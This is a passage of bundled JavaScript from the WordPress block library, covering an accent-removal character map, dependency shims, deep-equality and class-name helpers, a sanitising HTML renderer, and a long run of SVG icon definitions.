        "\u01D7": "U",
        "\u01D8": "u",
        "\u01D9": "U",
        "\u01DA": "u",
        "\u01DB": "U",
        "\u01DC": "u",
        "\u1EE8": "U",
        "\u1EE9": "u",
        "\u1E78": "U",
        "\u1E79": "u",
        "\u01FA": "A",
        "\u01FB": "a",
        "\u01FC": "AE",
        "\u01FD": "ae",
        "\u01FE": "O",
        "\u01FF": "o",
        "\xDE": "TH",
        "\xFE": "th",
        "\u1E54": "P",
        "\u1E55": "p",
        "\u1E64": "S",
        "\u1E65": "s",
        "X\u0301": "X",
        "x\u0301": "x",
        "\u0403": "\u0413",
        "\u0453": "\u0433",
        "\u040C": "\u041A",
        "\u045C": "\u043A",
        "A\u030B": "A",
        "a\u030B": "a",
        "E\u030B": "E",
        "e\u030B": "e",
        "I\u030B": "I",
        "i\u030B": "i",
        "\u01F8": "N",
        "\u01F9": "n",
        "\u1ED2": "O",
        "\u1ED3": "o",
        "\u1E50": "O",
        "\u1E51": "o",
        "\u1EEA": "U",
        "\u1EEB": "u",
        "\u1E80": "W",
        "\u1E81": "w",
        "\u1EF2": "Y",
        "\u1EF3": "y",
        "\u0200": "A",
        "\u0201": "a",
        "\u0204": "E",
        "\u0205": "e",
        "\u0208": "I",
        "\u0209": "i",
        "\u020C": "O",
        "\u020D": "o",
        "\u0210": "R",
        "\u0211": "r",
        "\u0214": "U",
        "\u0215": "u",
        "B\u030C": "B",
        "b\u030C": "b",
        "\u010C\u0323": "C",
        "\u010D\u0323": "c",
        "\xCA\u030C": "E",
        "\xEA\u030C": "e",
        "F\u030C": "F",
        "f\u030C": "f",
        "\u01E6": "G",
        "\u01E7": "g",
        "\u021E": "H",
        "\u021F": "h",
        "J\u030C": "J",
        "\u01F0": "j",
        "\u01E8": "K",
        "\u01E9": "k",
        "M\u030C": "M",
        "m\u030C": "m",
        "P\u030C": "P",
        "p\u030C": "p",
        "Q\u030C": "Q",
        "q\u030C": "q",
        "\u0158\u0329": "R",
        "\u0159\u0329": "r",
        "\u1E66": "S",
        "\u1E67": "s",
        "V\u030C": "V",
        "v\u030C": "v",
        "W\u030C": "W",
        "w\u030C": "w",
        "X\u030C": "X",
        "x\u030C": "x",
        "Y\u030C": "Y",
        "y\u030C": "y",
        "A\u0327": "A",
        "a\u0327": "a",
        "B\u0327": "B",
        "b\u0327": "b",
        "\u1E10": "D",
        "\u1E11": "d",
        "\u0228": "E",
        "\u0229": "e",
        "\u0190\u0327": "E",
        "\u025B\u0327": "e",
        "\u1E28": "H",
        "\u1E29": "h",
        "I\u0327": "I",
        "i\u0327": "i",
        "\u0197\u0327": "I",
        "\u0268\u0327": "i",
        "M\u0327": "M",
        "m\u0327": "m",
        "O\u0327": "O",
        "o\u0327": "o",
        "Q\u0327": "Q",
        "q\u0327": "q",
        "U\u0327": "U",
        "u\u0327": "u",
        "X\u0327": "X",
        "x\u0327": "x",
        "Z\u0327": "Z",
        "z\u0327": "z",
        "\u0439": "\u0438",
        "\u0419": "\u0418",
        "\u0451": "\u0435",
        "\u0401": "\u0415"
      };
      var chars = Object.keys(characterMap).join("|");
      var allAccents = new RegExp(chars, "g");
      var firstAccent = new RegExp(chars, "");
      function matcher(match) {
        return characterMap[match];
      }
      var removeAccents5 = function(string) {
        return string.replace(allAccents, matcher);
      };
      var hasAccents = function(string) {
        return !!string.match(firstAccent);
      };
      module.exports = removeAccents5;
      module.exports.has = hasAccents;
      module.exports.remove = removeAccents5;
    }
  });

  // package-external:@wordpress/upload-media
  var require_upload_media = __commonJS({
    "package-external:@wordpress/upload-media"(exports, module) {
      module.exports = window.wp.uploadMedia;
    }
  });

  // package-external:@wordpress/a11y
  var require_a11y = __commonJS({
    "package-external:@wordpress/a11y"(exports, module) {
      module.exports = window.wp.a11y;
    }
  });

  // package-external:@wordpress/escape-html
  var require_escape_html = __commonJS({
    "package-external:@wordpress/escape-html"(exports, module) {
      module.exports = window.wp.escapeHtml;
    }
  });

  // package-external:@wordpress/wordcount
  var require_wordcount = __commonJS({
    "package-external:@wordpress/wordcount"(exports, module) {
      module.exports = window.wp.wordcount;
    }
  });

  // package-external:@wordpress/patterns
  var require_patterns = __commonJS({
    "package-external:@wordpress/patterns"(exports, module) {
      module.exports = window.wp.patterns;
    }
  });

  // package-external:@wordpress/autop
  var require_autop = __commonJS({
    "package-external:@wordpress/autop"(exports, module) {
      module.exports = window.wp.autop;
    }
  });

  // node_modules/fast-deep-equal/es6/index.js
  var require_es6 = __commonJS({
    "node_modules/fast-deep-equal/es6/index.js"(exports, module) {
      "use strict";
      module.exports = function equal(a2, b2) {
        if (a2 === b2) return true;
        if (a2 && b2 && typeof a2 == "object" && typeof b2 == "object") {
          if (a2.constructor !== b2.constructor) return false;
          var length, i2, keys;
          if (Array.isArray(a2)) {
            length = a2.length;
            if (length != b2.length) return false;
            for (i2 = length; i2-- !== 0; )
              if (!equal(a2[i2], b2[i2])) return false;
            return true;
          }
          if (a2 instanceof Map && b2 instanceof Map) {
            if (a2.size !== b2.size) return false;
            for (i2 of a2.entries())
              if (!b2.has(i2[0])) return false;
            for (i2 of a2.entries())
              if (!equal(i2[1], b2.get(i2[0]))) return false;
            return true;
          }
          if (a2 instanceof Set && b2 instanceof Set) {
            if (a2.size !== b2.size) return false;
            for (i2 of a2.entries())
              if (!b2.has(i2[0])) return false;
            return true;
          }
          if (ArrayBuffer.isView(a2) && ArrayBuffer.isView(b2)) {
            length = a2.length;
            if (length != b2.length) return false;
            for (i2 = length; i2-- !== 0; )
              if (a2[i2] !== b2[i2]) return false;
            return true;
          }
          if (a2.constructor === RegExp) return a2.source === b2.source && a2.flags === b2.flags;
          if (a2.valueOf !== Object.prototype.valueOf) return a2.valueOf() === b2.valueOf();
          if (a2.toString !== Object.prototype.toString) return a2.toString() === b2.toString();
          keys = Object.keys(a2);
          length = keys.length;
          if (length !== Object.keys(b2).length) return false;
          for (i2 = length; i2-- !== 0; )
            if (!Object.prototype.hasOwnProperty.call(b2, keys[i2])) return false;
          for (i2 = length; i2-- !== 0; ) {
            var key = keys[i2];
            if (!equal(a2[key], b2[key])) return false;
          }
          return true;
        }
        return a2 !== a2 && b2 !== b2;
      };
    }
  });

  // package-external:@wordpress/keyboard-shortcuts
  var require_keyboard_shortcuts = __commonJS({
    "package-external:@wordpress/keyboard-shortcuts"(exports, module) {
      module.exports = window.wp.keyboardShortcuts;
    }
  });

  // packages/block-library/build-module/index.mjs
  var index_exports = {};
  __export(index_exports, {
    __experimentalGetCoreBlocks: () => __experimentalGetCoreBlocks,
    __experimentalRegisterExperimentalCoreBlocks: () => __experimentalRegisterExperimentalCoreBlocks,
    privateApis: () => privateApis3,
    registerCoreBlocks: () => registerCoreBlocks
  });
  var import_blocks129 = __toESM(require_blocks(), 1);
  var import_compose61 = __toESM(require_compose(), 1);
  var import_data171 = __toESM(require_data(), 1);
  var import_block_editor297 = __toESM(require_block_editor(), 1);
  var import_server_side_render7 = __toESM(require_server_side_render(), 1);
  var import_i18n274 = __toESM(require_i18n(), 1);

  // node_modules/clsx/dist/clsx.mjs
  function r(e2) {
    var t2, f2, n2 = "";
    if ("string" == typeof e2 || "number" == typeof e2) n2 += e2;
    else if ("object" == typeof e2) if (Array.isArray(e2)) {
      var o2 = e2.length;
      for (t2 = 0; t2 < o2; t2++) e2[t2] && (f2 = r(e2[t2])) && (n2 && (n2 += " "), n2 += f2);
    } else for (f2 in e2) e2[f2] && (n2 && (n2 += " "), n2 += f2);
    return n2;
  }
  function clsx() {
    for (var e2, t2, f2 = 0, n2 = "", o2 = arguments.length; f2 < o2; f2++) (e2 = arguments[f2]) && (t2 = r(e2)) && (n2 && (n2 += " "), n2 += t2);
    return n2;
  }
  var clsx_default = clsx;

  // node_modules/html-react-parser/esm/index.mjs
  var import_lib = __toESM(require_lib6(), 1);
  var import_lib2 = __toESM(require_lib6(), 1);
  var esm_default = import_lib.default.default || import_lib.default;

  // packages/block-library/build-module/utils/html-renderer.mjs
  var import_dom = __toESM(require_dom(), 1);
  var import_jsx_runtime = __toESM(require_jsx_runtime(), 1);
  var HtmlRenderer = ({ wrapperProps = {}, html = "" }) => {
    const options2 = {
      replace: ({ name: name123, type, attribs, parent, children }) => {
        if (type === "tag" && name123) {
          const parsedProps = (0, import_lib2.attributesToProps)(attribs || {});
          const TagName2 = name123;
          if (!parent) {
            const mergedProps = {
              ...parsedProps,
              ...wrapperProps,
              className: clsx_default(
                parsedProps.className,
                wrapperProps.className
              ),
              style: {
                ...parsedProps.style || {},
                ...wrapperProps.style || {}
              }
            };
            return /* @__PURE__ */ (0, import_jsx_runtime.jsx)(TagName2, { ...mergedProps, children: (0, import_lib2.domToReact)(children, options2) });
          }
        }
      }
    };
    const sanitizedContent = (0, import_dom.safeHTML)(html);
    const parsedContent = esm_default(sanitizedContent, options2);
    return parsedContent;
  };
  var html_renderer_default = HtmlRenderer;

  // packages/block-library/build-module/accordion/index.mjs
  var accordion_exports = {};
  __export(accordion_exports, {
    init: () => init,
    metadata: () => block_default,
    name: () => name,
    settings: () => settings
  });
  var import_i18n2 = __toESM(require_i18n(), 1);

  // packages/icons/build-module/icon/index.mjs
  var import_element = __toESM(require_element(), 1);
  var icon_default = (0, import_element.forwardRef)(
    ({ icon: icon4, size = 24, ...props }, ref) => {
      return (0, import_element.cloneElement)(icon4, {
        width: size,
        height: size,
        ...props,
        ref
      });
    }
  );

  // packages/icons/build-module/library/accordion-heading.mjs
  var import_primitives = __toESM(require_primitives(), 1);
  var import_jsx_runtime2 = __toESM(require_jsx_runtime(), 1);
  var accordion_heading_default = /* @__PURE__ */ (0, import_jsx_runtime2.jsxs)(import_primitives.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
    /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_primitives.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M19.5 12.75L9.5 12.75L9.5 11.25L19.5 11.25L19.5 12.75Z" }),
    /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_primitives.Path, { d: "M4.5 9.5L8.5 12L4.5 14.5L4.5 9.5Z" })
  ] });

  // packages/icons/build-module/library/accordion-item.mjs
  var import_primitives2 = __toESM(require_primitives(), 1);
  var import_jsx_runtime3 = __toESM(require_jsx_runtime(), 1);
  var accordion_item_default = /* @__PURE__ */ (0, import_jsx_runtime3.jsxs)(import_primitives2.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
    /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_primitives2.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M19.5 9.5L9.5 9.5L9.5 8L19.5 8L19.5 9.5Z" }),
    /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_primitives2.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M19.5 13L9.5 13L9.5 11.5L19.5 11.5L19.5 13Z" }),
    /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_primitives2.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M19.5 16.3999L9.5 16.3999L9.5 14.8999L19.5 14.8999L19.5 16.3999Z" }),
    /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_primitives2.Path, { d: "M4.5 6.25L8.5 8.75L4.5 11.25L4.5 6.25Z" })
  ] });

  // packages/icons/build-module/library/accordion.mjs
  var import_primitives3 = __toESM(require_primitives(), 1);
  var import_jsx_runtime4 = __toESM(require_jsx_runtime(), 1);
  var accordion_default = /* @__PURE__ */ (0, import_jsx_runtime4.jsxs)(import_primitives3.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
    /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_primitives3.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M19.5 9.25L9.5 9.25L9.5 7.75L19.5 7.75L19.5 9.25Z" }),
    /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_primitives3.Path, { d: "M4.5 6L8.5 8.5L4.5 11L4.5 6Z" }),
    /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_primitives3.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M19.5 16.25L9.5 16.25L9.5 14.75L19.5 14.75L19.5 16.25Z" }),
    /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_primitives3.Path, { d: "M4.5 13L8.5 15.5L4.5 18L4.5 13Z" })
  ] });

  // packages/icons/build-module/library/add-submenu.mjs
  var import_primitives4 = __toESM(require_primitives(), 1);
  var import_jsx_runtime5 = __toESM(require_jsx_runtime(), 1);
  var add_submenu_default = /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(import_primitives4.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(import_primitives4.Path, { d: "M2 12c0 3.6 2.4 5.5 6 5.5h.5V19l3-2.5-3-2.5v2H8c-2.5 0-4.5-1.5-4.5-4s2-4.5 4.5-4.5h3.5V6H8c-3.6 0-6 2.4-6 6zm19.5-1h-8v1.5h8V11zm0 5h-8v1.5h8V16zm0-10h-8v1.5h8V6z" }) });

  // packages/icons/build-module/library/align-center.mjs
  var import_primitives5 = __toESM(require_primitives(), 1);
  var import_jsx_runtime6 = __toESM(require_jsx_runtime(), 1);
  var align_center_default = /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_primitives5.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_primitives5.Path, { d: "M7.5 5.5h9V4h-9v1.5Zm-3.5 7h16V11H4v1.5Zm3.5 7h9V18h-9v1.5Z" }) });

  // packages/icons/build-module/library/align-left.mjs
  var import_primitives6 = __toESM(require_primitives(), 1);
  var import_jsx_runtime7 = __toESM(require_jsx_runtime(), 1);
  var align_left_default = /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_primitives6.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_primitives6.Path, { d: "M13 5.5H4V4h9v1.5Zm7 7H4V11h16v1.5Zm-7 7H4V18h9v1.5Z" }) });

  // packages/icons/build-module/library/align-none.mjs
  var import_primitives7 = __toESM(require_primitives(), 1);
  var import_jsx_runtime8 = __toESM(require_jsx_runtime(), 1);
  var align_none_default = /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_primitives7.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_primitives7.Path, { d: "M19 5.5H5V4h14v1.5ZM19 20H5v-1.5h14V20ZM5 9h14v6H5V9Z" }) });

  // packages/icons/build-module/library/align-right.mjs
  var import_primitives8 = __toESM(require_primitives(), 1);
  var import_jsx_runtime9 = __toESM(require_jsx_runtime(), 1);
  var align_right_default = /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_primitives8.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_primitives8.Path, { d: "M11.111 5.5H20V4h-8.889v1.5ZM4 12.5h16V11H4v1.5Zm7.111 7H20V18h-8.889v1.5Z" }) });

  // packages/icons/build-module/library/archive.mjs
  var import_primitives9 = __toESM(require_primitives(), 1);
  var import_jsx_runtime10 = __toESM(require_jsx_runtime(), 1);
  var archive_default = /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_primitives9.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_primitives9.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M11.934 7.406a1 1 0 0 0 .914.594H19a.5.5 0 0 1 .5.5v9a.5.5 0 0 1-.5.5H5a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5h5.764a.5.5 0 0 1 .447.276l.723 1.63Zm1.064-1.216a.5.5 0 0 0 .462.31H19a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2h5.764a2 2 0 0 1 1.789 1.106l.445 1.084ZM8.5 10.5h7V12h-7v-1.5Zm7 3.5h-7v1.5h7V14Z" }) });

  // packages/icons/build-module/library/audio.mjs
  var import_primitives10 = __toESM(require_primitives(), 1);
  var import_jsx_runtime11 = __toESM(require_jsx_runtime(), 1);
  var audio_default = /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(import_primitives10.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(import_primitives10.Path, { d: "M17.7 4.3c-1.2 0-2.8 0-3.8 1-.6.6-.9 1.5-.9 2.6V14c-.6-.6-1.5-1-2.5-1C8.6 13 7 14.6 7 16.5S8.6 20 10.5 20c1.5 0 2.8-1 3.3-2.3.5-.8.7-1.8.7-2.5V7.9c0-.7.2-1.2.5-1.6.6-.6 1.8-.6 2.8-.6h.3V4.3h-.4z" }) });

  // packages/icons/build-module/library/block-default.mjs
  var import_primitives11 = __toESM(require_primitives(), 1);
  var import_jsx_runtime12 = __toESM(require_jsx_runtime(), 1);
  var block_default_default = /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_primitives11.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_primitives11.Path, { d: "M19 8h-1V6h-5v2h-2V6H6v2H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2zm.5 10c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-8c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v8z" }) });

  // packages/icons/build-module/library/block-table.mjs
  var import_primitives12 = __toESM(require_primitives(), 1);
  var import_jsx_runtime13 = __toESM(require_jsx_runtime(), 1);
  var block_table_default = /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_primitives12.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_primitives12.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM5 4.5h14c.3 0 .5.2.5.5v3.5h-15V5c0-.3.2-.5.5-.5zm8 5.5h6.5v3.5H13V10zm-1.5 3.5h-7V10h7v3.5zm-7 5.5v-4h7v4.5H5c-.3 0-.5-.2-.5-.5zm14.5.5h-6V15h6.5v4c0 .3-.2.5-.5.5z" }) });

  // packages/icons/build-module/library/breadcrumbs.mjs
  var import_primitives13 = __toESM(require_primitives(), 1);
  var import_jsx_runtime14 = __toESM(require_jsx_runtime(), 1);
  var breadcrumbs_default = /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_primitives13.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_primitives13.Path, { d: "M4 13.5h3v-3H4v3Zm6-3.5 2 2-2 2 1 1 3-3-3-3-1 1Zm7 .5v3h3v-3h-3Z" }) });

  // packages/icons/build-module/library/button.mjs
  var import_primitives14 = __toESM(require_primitives(), 1);
  var import_jsx_runtime15 = __toESM(require_jsx_runtime(), 1);
  var button_default = /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_primitives14.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_primitives14.Path, { d: "M8 12.5h8V11H8v1.5Z M19 6.5H5a2 2 0 0 0-2 2V15a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2V8.5a2 2 0 0 0-2-2ZM5 8h14a.5.5 0 0 1 .5.5V15a.5.5 0 0 1-.5.5H5a.5.5 0 0 1-.5-.5V8.5A.5.5 0 0 1 5 8Z" }) });

  // packages/icons/build-module/library/buttons.mjs
  var import_primitives15 = __toESM(require_primitives(), 1);
  var import_jsx_runtime16 = __toESM(require_jsx_runtime(), 1);
  var buttons_default = /* @__PURE__ */ (0, import_jsx_runtime16.jsx)(import_primitives15.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime16.jsx)(import_primitives15.Path, { d: "M14.5 17.5H9.5V16H14.5V17.5Z M14.5 8H9.5V6.5H14.5V8Z M7 3.5H17C18.1046 3.5 19 4.39543 19 5.5V9C19 10.1046 18.1046 11 17 11H7C5.89543 11 5 10.1046 5 9V5.5C5 4.39543 5.89543 3.5 7 3.5ZM17 5H7C6.72386 5 6.5 5.22386 6.5 5.5V9C6.5 9.27614 6.72386 9.5 7 9.5H17C17.2761 9.5 17.5 9.27614 17.5 9V5.5C17.5 5.22386 17.2761 5 17 5Z M7 13H17C18.1046 13 19 13.8954 19 15V18.5C19 19.6046 18.1046 20.5 17 20.5H7C5.89543 20.5 5 19.6046 5 18.5V15C5 13.8954 5.89543 13 7 13ZM17 14.5H7C6.72386 14.5 6.5 14.7239 6.5 15V18.5C6.5 18.7761 6.72386 19 7 19H17C17.2761 19 17.5 18.7761 17.5 18.5V15C17.5 14.7239 17.2761 14.5 17 14.5Z" }) });

  // packages/icons/build-module/library/calendar.mjs
  var import_primitives16 = __toESM(require_primitives(), 1);
  var import_jsx_runtime17 = __toESM(require_jsx_runtime(), 1);
  var calendar_default = /* @__PURE__ */ (0, import_jsx_runtime17.jsx)(import_primitives16.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime17.jsx)(import_primitives16.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V7h15v12zM9 10H7v2h2v-2zm0 4H7v2h2v-2zm4-4h-2v2h2v-2zm4 0h-2v2h2v-2zm-4 4h-2v2h2v-2zm4 0h-2v2h2v-2z" }) });

  // packages/icons/build-module/library/caption.mjs
  var import_primitives17 = __toESM(require_primitives(), 1);
  var import_jsx_runtime18 = __toESM(require_jsx_runtime(), 1);
  var caption_default = /* @__PURE__ */ (0, import_jsx_runtime18.jsx)(import_primitives17.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime18.jsx)(import_primitives17.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M6 5.5h12a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H6a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5ZM4 6a2 2 0 0 1 2-2h12a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V6Zm4 10h2v-1.5H8V16Zm5 0h-2v-1.5h2V16Zm1 0h2v-1.5h-2V16Z" }) });

  // packages/icons/build-module/library/category.mjs
  var import_primitives18 = __toESM(require_primitives(), 1);
  var import_jsx_runtime19 = __toESM(require_jsx_runtime(), 1);
  var category_default = /* @__PURE__ */ (0, import_jsx_runtime19.jsx)(import_primitives18.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime19.jsx)(import_primitives18.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M6 5.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM4 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2V6zm11-.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5h-3a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM13 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2h-3a2 2 0 01-2-2V6zm5 8.5h-3a.5.5 0 00-.5.5v3a.5.5 0 00.5.5h3a.5.5 0 00.5-.5v-3a.5.5 0 00-.5-.5zM15 13a2 2 0 00-2 2v3a2 2 0 002 2h3a2 2 0 002-2v-3a2 2 0 00-2-2h-3zm-9 1.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5v-3a.5.5 0 01.5-.5zM4 15a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2v-3z" }) });

  // packages/icons/build-module/library/chevron-down.mjs
  var import_primitives19 = __toESM(require_primitives(), 1);
  var import_jsx_runtime20 = __toESM(require_jsx_runtime(), 1);
  var chevron_down_default = /* @__PURE__ */ (0, import_jsx_runtime20.jsx)(import_primitives19.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime20.jsx)(import_primitives19.Path, { d: "M17.5 11.6L12 16l-5.5-4.4.9-1.2L12 14l4.5-3.6 1 1.2z" }) });

  // packages/icons/build-module/library/chevron-left-small.mjs
  var import_primitives20 = __toESM(require_primitives(), 1);
  var import_jsx_runtime21 = __toESM(require_jsx_runtime(), 1);
  var chevron_left_small_default = /* @__PURE__ */ (0, import_jsx_runtime21.jsx)(import_primitives20.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime21.jsx)(import_primitives20.Path, { d: "m13.1 16-3.4-4 3.4-4 1.1 1-2.6 3 2.6 3-1.1 1z" }) });

  // packages/icons/build-module/library/chevron-left.mjs
  var import_primitives21 = __toESM(require_primitives(), 1);
  var import_jsx_runtime22 = __toESM(require_jsx_runtime(), 1);
  var chevron_left_default = /* @__PURE__ */ (0, import_jsx_runtime22.jsx)(import_primitives21.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime22.jsx)(import_primitives21.Path, { d: "M14.6 7l-1.2-1L8 12l5.4 6 1.2-1-4.6-5z" }) });

  // packages/icons/build-module/library/chevron-right-small.mjs
  var import_primitives22 = __toESM(require_primitives(), 1);
  var import_jsx_runtime23 = __toESM(require_jsx_runtime(), 1);
  var chevron_right_small_default = /* @__PURE__ */ (0, import_jsx_runtime23.jsx)(import_primitives22.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime23.jsx)(import_primitives22.Path, { d: "M10.8622 8.04053L14.2805 12.0286L10.8622 16.0167L9.72327 15.0405L12.3049 12.0286L9.72327 9.01672L10.8622 8.04053Z" }) });

  // packages/icons/build-module/library/chevron-right.mjs
  var import_primitives23 = __toESM(require_primitives(), 1);
  var import_jsx_runtime24 = __toESM(require_jsx_runtime(), 1);
  var chevron_right_default = /* @__PURE__ */ (0, import_jsx_runtime24.jsx)(import_primitives23.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime24.jsx)(import_primitives23.Path, { d: "M10.6 6L9.4 7l4.6 5-4.6 5 1.2 1 5.4-6z" }) });

  // packages/icons/build-module/library/chevron-up.mjs
  var import_primitives24 = __toESM(require_primitives(), 1);
  var import_jsx_runtime25 = __toESM(require_jsx_runtime(), 1);
  var chevron_up_default = /* @__PURE__ */ (0, import_jsx_runtime25.jsx)(import_primitives24.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime25.jsx)(import_primitives24.Path, { d: "M6.5 12.4L12 8l5.5 4.4-.9 1.2L12 10l-4.5 3.6-1-1.2z" }) });

  // packages/icons/build-module/library/classic.mjs
  var import_primitives25 = __toESM(require_primitives(), 1);
  var import_jsx_runtime26 = __toESM(require_jsx_runtime(), 1);
  var classic_default = /* @__PURE__ */ (0, import_jsx_runtime26.jsx)(import_primitives25.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime26.jsx)(import_primitives25.Path, { d: "M20 6H4c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2zm.5 11c0 .3-.2.5-.5.5H4c-.3 0-.5-.2-.5-.5V8c0-.3.2-.5.5-.5h16c.3 0 .5.2.5.5v9zM10 10H8v2h2v-2zm-5 2h2v-2H5v2zm8-2h-2v2h2v-2zm-5 6h8v-2H8v2zm6-4h2v-2h-2v2zm3 0h2v-2h-2v2zm0 4h2v-2h-2v2zM5 16h2v-2H5v2z" }) });

  // packages/icons/build-module/library/close.mjs
  var import_primitives26 = __toESM(require_primitives(), 1);
  var import_jsx_runtime27 = __toESM(require_jsx_runtime(), 1);
  var close_default = /* @__PURE__ */ (0, import_jsx_runtime27.jsx)(import_primitives26.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime27.jsx)(import_primitives26.Path, { d: "m13.06 12 6.47-6.47-1.06-1.06L12 10.94 5.53 4.47 4.47 5.53 10.94 12l-6.47 6.47 1.06 1.06L12 13.06l6.47 6.47 1.06-1.06L13.06 12Z" }) });

  // packages/icons/build-module/library/code.mjs
  var import_primitives27 = __toESM(require_primitives(), 1);
  var import_jsx_runtime28 = __toESM(require_jsx_runtime(), 1);
